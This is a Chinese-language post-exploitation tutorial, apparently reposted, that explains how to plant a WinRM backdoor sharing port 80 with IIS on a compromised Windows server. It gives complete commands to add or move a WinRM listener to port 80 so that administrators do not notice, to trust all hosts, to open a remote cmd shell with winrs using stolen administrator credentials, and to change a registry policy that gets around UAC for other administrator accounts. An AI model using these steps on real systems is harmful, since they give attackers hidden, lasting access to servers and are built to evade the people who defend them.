[后滲透]Windows server 80端口復用后門


0x01 簡介

該后門的基本原理是使用Windows 的遠程管理管理服務WinRM,組合HTTP.sys驅動自帶的端口復用功能,一起實現正向的端口復用后門。

具體細節信息請參考:https://paper.seebug.org/1004/

0x02 復現

2.1 環境信息

此次的后門連接是需要目標服務器的高權用戶的明文密碼的,需要先抓取相應的明文密碼才可部署后門:

首先查看目標服務器時候能夠正常使用WinRM服務:

在Windows 2012以上的服務器操作系統中,WinRM服務默認啟動並監聽了5985端口。

對於Windows 2008來說,需要使用命令來啟動WinRM服務,快速配置和啟動的命令是winrm quickconfig -q,這條命令運行后會自動添加防火牆例外規則,放行5985端口。

2.2 復用80端口

目標服務器本身是存在IIS服務器的,開放端口也是默認的80端口:

對於原本就開放了WinRM服務的機器來講,需要保留原本的5985端口listener,同時需要新增一個80端口的listener,這樣既能保證原來的5985端口管理員可以使用,我們也能通過80端口連接WinRM。

使用下面這條命令即可新增一個80端口的listener

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

對於安裝Windows 2012及以上版本操作系統的服務器來講,只需要這一條命令即可實現端口復用。

這種情況下,老的5985端口listener還保留着:

當目標服務器上,本省並未啟用WinRM服務的話,那么需要把默認的5985端口修改成web服務端口80,否則管理員上來看到一個5985端口就可能起疑心。

通過下面這條命令即可修改端口為80

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

這種情況下,管理員查看端口也看不到5985開放,只開放80端口:

經過配置之后,WinRM已經在80端口上監聽了一個listener,與此同時,IIS的web服務也能完全正常運行。

2.3 后門的使用

本地需要連接WinRM服務時,首先也需要配置啟動WinRM服務,然后需要設置信任連接的主機,執行以下兩條命令即可

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

開啟WinRM客戶端后,使用winrs命令即可連接遠程WinRM服務執行命令(這里的賬號密碼即是目標服務器本地存在的用戶)

winrs -r:http://192.168.126.133 -u:administrator -p:admin123. ipconfig

上述命令會在遠程機器上執行ipconfig命令,獲取結果后直接退出

將ipconfig命令換成cmd即可獲取一個交互式的shell:

winrs -r:http://192.168.126.133 -u:administrator -p:admin123. cmd

0x03 非管理員用戶

WinRM服務是受UAC影響的,所以本地管理員用戶組里面只有administrator可以登錄,其他管理員用戶是沒法遠程登錄WinRM的。要允許本地管理員組的其他用戶登錄WinRM,需要修改注冊表設置。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后,普通管理員登錄后也是高權限。

0x04 參考鏈接

https://paper.seebug.org/1004/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM